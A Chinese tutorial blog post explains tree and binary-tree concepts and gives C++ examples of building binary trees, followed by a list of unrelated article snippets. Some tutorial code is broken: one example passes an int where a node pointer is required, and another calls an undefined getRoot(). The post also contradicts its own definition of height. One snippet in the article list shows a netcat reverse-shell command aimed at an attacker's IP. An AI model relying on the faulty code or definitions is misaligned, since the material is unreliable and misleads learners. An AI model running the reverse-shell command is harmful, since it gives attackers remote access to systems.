二叉树——初解

二叉树

    • 树的概念
    • 树的性质
  • 二叉树
    • 二叉树的概念
    • 二叉树的性质
    • 二叉树的实现方式
      • 数组构建
      • 左孩子右兄弟法构建
      • 指针构建

树的概念

在计算机科学中,树(Tree)是一种重要的非线性数据结构,它由若干节点(Node)组成,并且这些节点之间以(Edge)连接起来。树的节点可以有零个或多个子节点,但每个节点最多只能有一个父节点,其中一个节点被称为根节点(Root Node),没有父节点。除了根节点外,每个节点都有且仅有一个父节点,使得整个结构呈现出类似于自然界中树的形状,因此得名。

在这里插入图片描述

树的性质

树的基本概念包括

  • 节点(Node):树中的基本元素,每个节点包含一个数据元素和指向其子节点的指针。

  • 根节点(Root Node):树的顶端节点,它是树的起始点,没有父节点。

  • 父节点(Parent Node):除了根节点外,每个节点都有一个父节点。

  • 子节点(Child Node):一个节点的直接下级节点称为其子节点。

  • 叶子节点(Leaf Node):没有子节点的节点称为叶子节点或终端节点。

  • 路径(Path):从树中一个节点到另一个节点的序列,沿着边连接而形成。

  • 层级(Level):根节点的层级为0,其直接子节点的层级为1,依次类推。

  • 深度(Depth):节点所在的层数称为节点的深度,一般根节点的深度为0,依次递增。

  • 高度(Height):树中节点的最大深度称为树的高度。在一棵高度为h的树中,根节点的高度为h,叶子节点的高度为0。

  • 子树(Subtree):树中的任意节点及其所有子孙节点构成的树称为原树的子树。

  • 森林(Forest):由m(m>=0)棵互不相交的树组成的集合称为森林。

在这里插入图片描述

二叉树

二叉树的概念

二叉树是一种常见的树形数据结构,其中每个节点最多有两个子节点,分别称为左子节点和右子节点。二叉树的结构使得它在计算机科学领域中被广泛应用,例如在搜索算法、排序算法、编译器设计和网络路由中。

二叉树的性质

以下是二叉树的一些重要概念和特性

  • 节点(Node):二叉树中的每个元素称为节点。每个节点包含一个数据元素和指向其左子节点和右子节点的指针。

  • 根节点(Root Node):二叉树的顶端节点称为根节点,它是树的起始点。

  • 叶子节点(Leaf Node):没有子节点的节点称为叶子节点,也叫终端节点。

  • 父节点(Parent Node)、子节点(Child Node):一个节点的直接上级节点称为其父节点,而直接下级节点称为其子节点。

  • 深度(Depth):节点所在的层数称为节点的深度,根节点的深度为0,依次递增。

  • 高度(Height):树中节点的最大深度称为树的高度。在一棵高度为h的二叉树中,叶子节点的高度为h,而根节点的高度为0。

  • 满二叉树(Full Binary Tree):除了叶子节点外,每个节点都有两个子节点的二叉树称为满二叉树。

  • 完全二叉树(Complete Binary Tree):除了最后一层,其他层的节点都是满的,并且最后一层的节点都集中在左边,这样的二叉树称为完全二叉树。

  • 二叉搜索树(Binary Search Tree,BST):一种特殊的二叉树,其中每个节点的值大于其左子树中的所有节点的值,小于其右子树中的所有节点的值。这个特性使得BST能够快速地进行查找、插入和删除操作。

  • 遍历(Traversal):遍历是指按照一定的顺序访问树中的每个节点。常见的二叉树遍历方式包括前序遍历(Pre-order)、中序遍历(In-order)、后序遍历(Post-order)和层序遍历(Level-order)。

一颗满二叉树,完全二叉树
在这里插入图片描述

二叉树的实现方式

数组构建

1,构建二叉树的一种简单方法是通过数组表示树的结构。数组中的每个元素代表二叉树中的一个节点,并且通过数组索引之间的关系来表示节点之间的父子关系

假设我们有一个数组 arr 表示二叉树的节点,其中根节点位于索引 0 处。对于任意索引 i,其左子节点位于 2*i + 1 处,右子节点位于 2*i + 2 处。如果某个子节点不存在,则其对应的位置为 nullptr 或特殊值。

下面是一个简单的示例代码,演示如何通过数组构建二叉树:

#include <iostream>
#include <vector>

struct TreeNode {
    int data;
    TreeNode* left;
    TreeNode* right;
    
    TreeNode(int val) : data(val), left(nullptr), right(nullptr) {}
};

class BinaryTree {
private:
    std::vector<TreeNode*> nodes;
    
public:
    BinaryTree() {}
    
    void buildTree(std::vector<int>& arr) {
        // 创建节点并将其放入节点数组中
        for (int val : arr) {
            nodes.push_back(new TreeNode(val));
        }
        
        // 构建树的结构
        for (int i = 0; i < arr.size(); ++i) {
            if (2 * i + 1 < arr.size()) {
                nodes[i]->left = nodes[2 * i + 1];
            }
            if (2 * i + 2 < arr.size()) {
                nodes[i]->right = nodes[2 * i + 2];
            }
        }
    }
    
    // 释放节点内存
    void clear() {
        for (TreeNode* node : nodes) {
            delete node;
        }
        nodes.clear();
    }
    
    // 前序遍历
    void preorder(TreeNode* node) {
        if (node == nullptr) return;
        std::cout << node->data << " ";
        preorder(node->left);
        preorder(node->right);
    }
};

int main() {
    std::vector<int> arr = {1, 2, 3, 4, 5, 6, 7};
    BinaryTree tree;
    tree.buildTree(arr);
    tree.preorder(arr[0]); // 以根节点开始前序遍历
    tree.clear(); // 清除内存
    return 0;
}

在这个示例中,我们首先创建了表示二叉树的数组 arr,然后通过 buildTree 函数构建了二叉树的结构,并且通过前序遍历验证了构建的结果。最后,在程序结束时调用 clear 函数释放了动态分配的内存。

左孩子右兄弟法构建

左孩子右兄弟法(Left Child Right Sibling representation)是一种二叉树的表示方法,它将二叉树表示为多叉树的形式,每个节点有两个指针,一个指向其左子节点,另一个指向其右兄弟节点。

类似如此:
在这里插入图片描述

下面是一个简单的示例代码,演示如何通过左孩子右兄弟法构建二叉树:

#include <iostream>

struct TreeNode {
    int data;
    TreeNode* leftChild;
    TreeNode* rightSibling;
    
    TreeNode(int val) : data(val), leftChild(nullptr), rightSibling(nullptr) {}
};

class BinaryTree {
private:
    TreeNode* root;
    
public:
    BinaryTree() : root(nullptr) {}
    
    // 插入节点
    void insert(int parentVal, int val) {
        if (root == nullptr) {
            root = new TreeNode(parentVal);
            root->leftChild = new TreeNode(val);
        } else {
            TreeNode* parent = findNode(root, parentVal);
            if (parent != nullptr) {
                if (parent->leftChild == nullptr) {
                    parent->leftChild = new TreeNode(val);
                } else {
                    TreeNode* sibling = parent->leftChild;
                    while (sibling->rightSibling != nullptr) {
                        sibling = sibling->rightSibling;
                    }
                    sibling->rightSibling = new TreeNode(val);
                }
            } else {
                std::cout << "Parent node not found." << std::endl;
            }
        }
    }
    
    // 查找节点
    TreeNode* findNode(TreeNode* node, int val) {
        if (node == nullptr) return nullptr;
        if (node->data == val) return node;
        
        // 递归在左子树中查找
        TreeNode* foundNode = findNode(node->leftChild, val);
        if (foundNode != nullptr) return foundNode;
        
        // 递归在右兄弟节点中查找
        return findNode(node->rightSibling, val);
    }
    
    // 前序遍历
    void preorder(TreeNode* node) {
        if (node == nullptr) return;
        std::cout << node->data << " ";
        preorder(node->leftChild);
        preorder(node->rightSibling);
    }
};

int main() {
    BinaryTree tree;
    
    // 构建二叉树
    tree.insert(1, 2);
    tree.insert(1, 3);
    tree.insert(1, 4);
    tree.insert(2, 5);
    tree.insert(2, 6);
    tree.insert(3, 7);
    
    // 前序遍历
    tree.preorder(tree.getRoot());
    
    return 0;
}

在这个示例中,我们定义了 TreeNode 结构体来表示树节点,其中包含一个指向左子节点的指针 leftChild 和一个指向右兄弟节点的指针 rightSibling。然后,通过 BinaryTree 类的 insert 方法插入节点,并且通过前序遍历验证了构建的结果。

指针构建

1,使用链表建立二叉树通常有两种常见的方式:链表嵌套节点或者使用指针连接节点。以下是两种方法的示例:

  • 方法一:链表嵌套节点
#include <iostream>

struct TreeNode {
    int data;
    TreeNode* left;
    TreeNode* right;

    TreeNode(int val) : data(val), left(nullptr), right(nullptr) {}
};

// 链表节点
struct ListNode {
    int data;
    ListNode* next;

    ListNode(int val) : data(val), next(nullptr) {}
};

class BinaryTree {
private:
    TreeNode* root;

    // 使用递归构建二叉树
    TreeNode* buildTree(ListNode*& head) {
        if (head == nullptr) return nullptr;

        // 从链表中取出节点值
        int val = head->data;
        head = head->next;

        // 构建当前节点
        TreeNode* node = new TreeNode(val);

        // 递归构建左子树和右子树
        node->left = buildTree(head);
        node->right = buildTree(head);

        return node;
    }

public:
    BinaryTree() : root(nullptr) {}

    // 从链表构建二叉树
    void buildFromList(ListNode* head) {
        root = buildTree(head);
    }

    // 前序遍历
    void preorder(TreeNode* node) {
        if (node == nullptr) return;
        std::cout << node->data << " ";
        preorder(node->left);
        preorder(node->right);
    }

    // 获取根节点
    TreeNode* getRoot() {
        return root;
    }
};

int main() {
    // 构建链表表示的二叉树
    ListNode* head = new ListNode(1);
    head->next = new ListNode(2);
    head->next->next = new ListNode(3);
    head->next->next->next = new ListNode(4);
    head->next->next->next->next = new ListNode(5);

    BinaryTree tree;
    tree.buildFromList(head);

    // 前序遍历
    tree.preorder(tree.getRoot());

    return 0;
}
  • 方法二:使用指针连接节点
#include <iostream>

struct TreeNode {
    int data;
    TreeNode* left;
    TreeNode* right;

    TreeNode(int val) : data(val), left(nullptr), right(nullptr) {}
};

class BinaryTree {
private:
    TreeNode* root;

    // 使用递归构建二叉树
    TreeNode* buildTree(int* arr, int& index, int size) {
        if (index >= size || arr[index] == -1) {
            index++;
            return nullptr;
        }

        // 构建当前节点
        TreeNode* node = new TreeNode(arr[index]);
        index++;

        // 构建左子树和右子树
        node->left = buildTree(arr, index, size);
        node->right = buildTree(arr, index, size);

        return node;
    }

public:
    BinaryTree() : root(nullptr) {}

    // 从数组构建二叉树
    void buildFromArray(int* arr, int size) {
        int index = 0;
        root = buildTree(arr, index, size);
    }

    // 前序遍历
    void preorder(TreeNode* node) {
        if (node == nullptr) return;
        std::cout << node->data << " ";
        preorder(node->left);
        preorder(node->right);
    }

    // 获取根节点
    TreeNode* getRoot() {
        return root;
    }
};

int main() {
    // 构建数组表示的二叉树
    int arr[] = {1, 2, 4, -1, -1, -1, 3, -1, -1};
    int size = sizeof(arr) / sizeof(arr[0]);

    BinaryTree tree;
    tree.buildFromArray(arr, size);

    // 前序遍历
    tree.preorder(tree.getRoot());

    return 0;
} 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/626477.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

揿针在医保上叫什么?

点击文末领取揿针的视频教程跟直播讲解 创新型皮内针&#xff08;揿针&#xff09;——医保甲类产品 皮内针&#xff08;揿针&#xff09;技术属于重点推广的中医适宜技术&#xff0c;是将特制的小型针具固定于腧穴部位的皮内或皮下做较长时间留针的一种方法&#xff0c;称“…

商家利器!手机智能无人直播实时场景,轻松解决获客难、成本高难题

​​随着互联网的飞速发展&#xff0c;直播行业正在成为一种新型的商业模式。然而&#xff0c;许多商家在进行直播带货时面临着获客困难和高成本的挑战。为了解决这些问题&#xff0c;本文将介绍一种名为"自动直播"的功能&#xff0c;并详述如何利用手机实现实时场景…

2025考研专业课、英语、数学、政治视频大全,整理全了!

考研季又到了&#xff0c;备考的小伙伴们&#xff0c;你们准备好了吗&#xff1f; 时间管理 考研是一场与时间的赛跑&#xff0c;合理安排时间&#xff0c;让复习更高效&#xff01; - 制定详细的学习计划&#xff0c;每天、每周、每月都有明确目标 - ‍♂️ 保持一定的学习…

AI日报:OpenAI全能模型GPT-4o发布;阿里推自动化视频剪辑神器;AI作品会侵权吗?调研结果...;零一万物开源Yi-1.5模型

欢迎来到【AI日报】栏目!这里是你每天探索人工智能世界的指南&#xff0c;每天我们为你呈现AI领域的热点内容&#xff0c;聚焦开发者&#xff0c;助你洞悉技术趋势、了解创新AI产品应用。 新鲜AI产品点击了解&#xff1a;https://top.aibase.com/ 1、干翻所有语音助手&#x…

2024年了,Covid19怎么发?PANoptosis程序性死亡,抓紧上车!

说在前面 大家众所周知的新冠&#xff0c;其实早在19年末&#xff0c;20年初的时候很多人都抓住了这个热点发到了好文章&#xff0c;Covid-19&#xff0c;这玩意可以做到让一个期刊从2分飙升到20分&#xff0c;且非预警期刊&#xff0c;不过现在退火了&#xff0c;今年是12.7分…

程序员就是管道工

程序是由指令和数据组成的。 指令是按照特定的顺序执行的&#xff0c;这些顺序好比水的流向。 要想让水高效地流向我们想要的地方&#xff0c;就要设计一个精良的管道系统&#xff0c;这好比算法。 剩下的就是修建管道了&#xff0c;你要知道各种管的型号、用途&#xff0c;然…

使用Nginx对网站资源进行加密访问并限制访问IP

你好呀&#xff0c;我是赵兴晨&#xff0c;文科程序员。 大家在工作中有没有遇到过这样的需求&#xff0c;新上的网站部署到生产服务器上&#xff0c;但是还没公开&#xff0c;只允许个别高层领导看。 思来想去&#xff0c;我想到了一个简单的方法&#xff0c;通过Nginx对网站…

论文解读:Self-Prompt Mechanism for Few-Shot Image Recognition

文章汇总 存在的问题 由于提示文本和图像特征之间固有的模态差异&#xff0c;常规的提示方法的性能受到限制。 动机 让视觉信息自己给自己提示 解决办法 SPM涉及到图像编码器跨空间和通道维度产生的固有语义特征的系统选择&#xff0c;从而产生自提示信息。随后&#xff…

滚珠螺杆在精密机械设备中如何维持精度要求?

滚珠螺杆在精密设备领域中的运用非常之广泛&#xff0c;具有精度高、效率高的特点。为了确保滚珠螺杆在生产设备中能够发挥最佳性能&#xff0c;我们必须从多个维度进行深入考量&#xff0c;并采取针对性的措施&#xff0c;以确保其稳定、精准地服务于现代化生产的每一个环节。…

KeyShot 2023.3 Pro for mac/win:完美融合3D渲染与动画制作

在当今数字化时代&#xff0c;视觉内容的创作和表现越来越受到重视。无论是产品设计、建筑规划&#xff0c;还是影视特效&#xff0c;都需要具备出色的3D渲染和动画制作工具来展现创意和想法。而作为业内领先的3D渲染和动画制作软件之一&#xff0c;KeyShot 2023.3 Pro在这个领…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时&#xff0c; nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误&#xff1a; 这说明此netcat不支持 -e 参数。 此时可以做如下更改&#xff1a; 使用mkfifo或mknod命令创建一个命名管道&#xff0c;然后使用cat命令读取管道中的内容&…

邓闲小——生存、生活、生命|真北写作

人生有三个层次∶生存、生活、生命。 生存就是做必须做的事。生存的模式是邓&#xff0c;是交易&#xff0c;是买卖。别人需要的东西&#xff0c;你生产出来&#xff0c;卖给他。哪怕这个东西没啥用&#xff0c;也可以卖&#xff0c;情绪也可以卖。你需要的东西&#xff0c;你花…

《Python编程从入门到实践》day28

# 昨日知识点回顾 安装Matplotlib 绘制简单的折线图 # 今日知识点学习 15.2.1 修改标签文字和线条粗细 # module backend_interagg has no attribute FigureCanvas. Did you mean: FigureCanvasAgg? # 解决办法&#xff1a;matplotlib切换图形界面显示终端TkAgg。 #…

回复完成 输入框还显示值的问题

回复完成 输入框还显示值的问题 解决代码 先把id 值清空 再构建下这个输入框 $("#details_article_reply_content").val(""); // 清空textareavar editor editormd("article_details_reply", {width: "100%",height: "100%"…

【HarmonyOS】Stage 模型 - 应用配置文件

如图所示&#xff1a; Stage 模型应用配置文件主要有两类&#xff1a; 全局配置文件。放在 AppScope 目录下&#xff0c;app.json5。用来配置应用全局的信息。模块配置文件&#xff0c;放在每个模块里&#xff0c;module.json5。用来配置模块的信息。 一、全局配置文件 示…

声纹识别的对抗与防御

随着机器学习理论和方法的发展, 出现了用于模仿特定说话人语音的深度伪造、针对语音识别和声纹识别的对抗样本, 它们都为破坏语音载体的可信性和安全性提供了具体手段, 进而对各自应用场景的信息安全构成了挑战。 深度伪造是利用生成式对抗网络等方法, 通过构建特定的模型, 产生…

Kubernetes 群集部署

一、Kubernetes 概述 1.1、什么是 Kubernetes Kubernetes 是一个可移植、可扩展的开源容器编排系统&#xff0c;主要用于自动化部署、扩展和管理容器应用&#xff0c;提供资源调度、部署管理、服务发现、扩容缩容、监控等功能。对于负载均衡、服务发现、高可用、滚动升级、自…

Android Q - 音频通路调试

对于当前模块不是很清楚&#xff0c;刚好有个项目这方面有点问题&#xff0c;根据展锐支持文档一步步检查就可以了。首先得先弄清楚硬件具体是怎么连接的&#xff0c;比如文档提到的案例&#xff1a;sprd codec speaker output 连接外部 PA。 耳机接的是什么&#xff0c;speake…

prompt工程策略(四:仅使用 LLM 分析数据集,不使用插件或代码)

原文&#xff1a;我是如何赢得GPT-4提示工程大赛冠军的 原文的原文&#xff1a; How I Won Singapore’s GPT-4 Prompt Engineering Competition 插件&#xff1a;OpenAI 为 GPT-4 版本的 ChatGPT 提供的 Advanced Data Analysis&#xff08;高级数据分析&#xff09;插件 ——…

百望云钉钉:重塑财务智能化管理,助力企业实现数字化飞跃

近年来&#xff0c;数字技术正在深刻改变着企业生产方式和组织模式&#xff0c;企业面连着业务流程再造、经营模式创新等一系列建设挑战。 其中&#xff0c;财务部门从价值守护走向价值创造的过程中&#xff0c;展现出对企业经营与业务发展的巨大影响力。叠加金税四期税务改革&…